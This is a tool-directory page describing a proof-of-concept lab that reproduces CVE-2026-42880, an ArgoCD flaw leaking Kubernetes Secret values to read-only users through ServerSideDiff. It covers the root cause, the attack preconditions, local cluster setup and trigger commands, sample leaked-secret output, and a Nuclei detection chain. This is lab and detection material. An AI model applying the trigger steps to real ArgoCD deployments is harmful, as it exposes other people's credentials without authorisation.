Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC_CVE-2026-42880 — Reproduziert CVE-2026-42880, eine kritische ArgoCD-Sicherheitslücke, die Kubernetes Secrets über ServerSideDiff offenlegt. Enthält automatisierten Lab-Setup, Trigger-Skripte und eine Nuclei-Erkennungsvorlage für Sicherheitstests. | Kitploit
Tools/GitHubGitHub/haerin-l/poc_cve-2026-42880
SchwachstellenanalyseExploitationPenetrationstestsCloud-SicherheitFehlkonfigurationLernen & BildungLabs & Praxis
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

Reproduziert CVE-2026-42880, eine kritische ArgoCD-Sicherheitslücke, die Kubernetes Secrets über ServerSideDiff offenlegt. Enthält automatisierten Lab-Setup, Trigger-Skripte und eine Nuclei-Erkennungsvorlage für Sicherheitstests.

Repository anzeigen
6vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42880 — ArgoCD Geheimnis-Offenlegung via ServerSideDiff

Eine Laborumgebung zum Reproduzieren und Erkennen von CVE-2026-42880, einer kritischen Schwachstelle in Argo CD, bei der der ServerSideDiff gRPC-Handler Kubernetes-Secret-Daten für schreibgeschützte Benutzer offenlegt.


Schwachstellenübersicht

FeldDetails
CVE IDCVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Betroffene VersionenArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8
Gepatchte Versionen3.2.11, 3.3.9+
CWECWE-200, CWE-212

Ursache

serverSideDiff() in ArgoCD's gRPC handler calls the Kubernetes SSA dry-run and returns predictedLive without calling hideSecretData(), exposing base64-encoded Secret values in the response.

Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

Angriffsvoraussetzungen

Alle drei Bedingungen müssen gleichzeitig erfüllt sein:

#BedingungDetails
1Gefährdete ArgoCD Version3.2.0–3.2.10 oder 3.3.0–3.3.8
2Anwendungsannotationargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Externer Feldmanager für Secret-DatenSecret data-Felder, die von einem Nicht-ArgoCD-Manager (z. B. External Secrets Operator, Helm, kubectl) verwaltet werden

Es wird nur role:readonly benötigt – keine Schreibberechtigungen erforderlich.


Laborarchitektur

Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

Warum die Aufteilung des Feldmanagers wichtig ist

db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

Voraussetzungen

ToolInstallation
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
argocd CLIbrew install argocd
nucleibrew install nuclei
curl, jq, gitvorinstalliert unter macOS oder brew install jq

Ressourcenanforderungen: 8 GB+ freier RAM, 15 GB+ freier Festplattenspeicher, Ports 30080 / 30081 / 3010 verfügbar.


Ausführung

Schritt 1 – Verwundbare Umgebung einrichten (ArgoCD v3.2.0)

bash scripts/01-setup-vuln.sh
# or: make setup-vuln

Takes ~10 minutes. When done:

══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

Schritt 2 – Gepatchte Umgebung zum Vergleich einrichten (optional)

bash scripts/02-setup-patched.sh
# or: make setup-patched

Schritt 3 – CVE auslösen

bash scripts/03-trigger-cve.sh
# or: make trigger

Erwartete Ausgabe – verwundbar (v3.2.0):

===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← masked live state
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← EXPOSED predictedLive!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

Erwartete Ausgabe – gepatcht (v3.2.11):

>   db_password: ++++++++   ← masked
✓  RESULT: no unmasked data in predictedLive — PATCHED

Schritt 4 – Erkennung mit Nuclei

# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

Schritt 5 – Aufräumen

bash scripts/99-teardown.sh
# or: make teardown

Verzeichnisstruktur

argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md       # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md       # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/                         # Korean reports
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Kind cluster: cve-vuln    (port 30080)
│   └── cluster-patched.yaml        # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret without data field (CVE prerequisite)
│
├── manifests/
│   ├── application.yaml            # ArgoCD Application with vulnerable annotation
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS off, viewer account, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (vuln cluster)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup-vuln.sh            # Full automated setup: vulnerable env
    ├── 02-setup-patched.sh         # Full automated setup: patched env
    ├── 03-trigger-cve.sh           # Trigger CVE + compare both clusters
    └── 99-teardown.sh              # Remove all lab resources

Erkennungslogik des Nuclei-Templates

The template uses a 4-step HTTP chain to verify all CVE prerequisites without triggering actual Secret extraction:

Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

Referenzen

Tool herunterladen